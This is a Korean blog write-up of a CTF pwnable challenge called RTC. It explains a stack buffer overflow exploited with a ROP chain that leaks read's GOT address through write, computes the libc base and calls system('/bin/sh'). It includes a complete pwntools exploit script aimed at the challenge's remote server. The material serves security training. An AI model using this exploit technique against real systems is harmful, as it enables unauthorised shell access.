문제 풀이 환경 : ubuntu 18.04 |
RTC 기법 공부해보려고 이 문제 풀었는데 호옥시나..?! 하는 마음에 풀어봤더니 성공했다.
주어진 파일은 문제파일 바이너리 and libc
Analsysis
일단 실행
그냥 종료된다.
IDA
main을 살펴보자.
BOF가 터진다. RET를 건들 수 있다.
How to exploit
보호기법
plt, got 다 살아있지만 스택에 shellcode 쓰기와 실행은 불가능하다.
ROP하는 쪽으로 방향을 잡아보자.
ROP
1. read함수 got를 leak
2. libc base 획득!
3. system('/bin/sh\x00') 실행
write함수를 이용하여 read함수의 got를 leak해보자.
그럴려면 3개의 가젯이 필요하다. pop rdi, pop rsi, pop rdx...
쓸만한 가젯이 두개밖에 없다.
(참고로 r15는 write함수에서 뭐 딱히 쓸데없어서 걍 아무값이나 넣어줘도 된다.)
pop rdx가 없어서 RTC 기법을 이용한다.
하지만 예전에 문제풀 때 세번재 인자를 제어할 필요가 없는 상황이 있었다.
갑자기 이게 떠올라서 간단하게 디버깅을 해봤다.
write함수의 세번째 인자는 size다. rdx에 딱히 내가 인자를 안써줬는데 넉넉하게 0x200나 들어가 있당;;;;
이제 ㄱㅇㄷ을 외치며 쭉쭉 코드 쓰고 익스하면 된다.
사실 0x200이 들어가 있는 건 어떻게보면 당연한거다.
마지막에 read(0,buf,0x200) 에서 rdx를 0x200으로 세팅해줘서 당연히 rdx에는 0x200이 들어가 있다.
그런데 이게 read라서 그런거고, 다른 함수였으면 내부적으로 다른 syscall들을 호출할 수도 있으므로 레지스터 값이 변할수도 있다.
Let's exploit!
from pwn import *
#p = process('./rtc')
p = remote('ctf.j0n9hyun.xyz', 3025)
e = ELF('./rtc')
#libc = e.libc
libc = ELF('./libc.so.6')
write_plt = e.plt['write']
read_got = e.got['read']
main = 0x4005F6
pop_rdi = 0x4006c3
pop_rsi_r15 = 0x4006c1
payload = ''
payload += 'a' * (0x40 + 0x8)
payload += p64(pop_rdi)
payload += p64(1)
payload += p64(pop_rsi_r15)
payload += p64(read_got)
payload += p64(0) # no '0' ok p64(0)
payload += p64(write_plt)
payload += p64(main)
pause()
p.sendlineafter('\n', payload)
leak = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
print hex(leak)
libc_base = leak - libc.symbols['read']
print hex(libc_base)
system = libc_base + libc.symbols['system']
binsh = libc_base + libc.search('/bin/sh').next()
payload = ''
payload += 'a' * (0x40+0x8)
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(system)
p.sendlineafter('\n', payload)
p.interactive()
'WAR GAME > HackCTF' 카테고리의 다른 글
[HackCTF : Pwnable] Unexploitable #3 풀이 (64bit, RTC, fwrite) (0) | 2021.04.20 |
---|---|
[HackCTF : Pwnable] RTC 풀이 (64bit, RTC) (0) | 2021.04.20 |
[HackCTF : Pwnable] SysROP 풀이 (64bit, SROP, 브포) (0) | 2021.04.16 |
[HackCTF : Pwnable] SysROP 풀이 (64bit, SROP) (0) | 2021.04.16 |
[HackCTF : Pwnable] Unexploitable #2 풀이 (64bit, system) (0) | 2021.04.15 |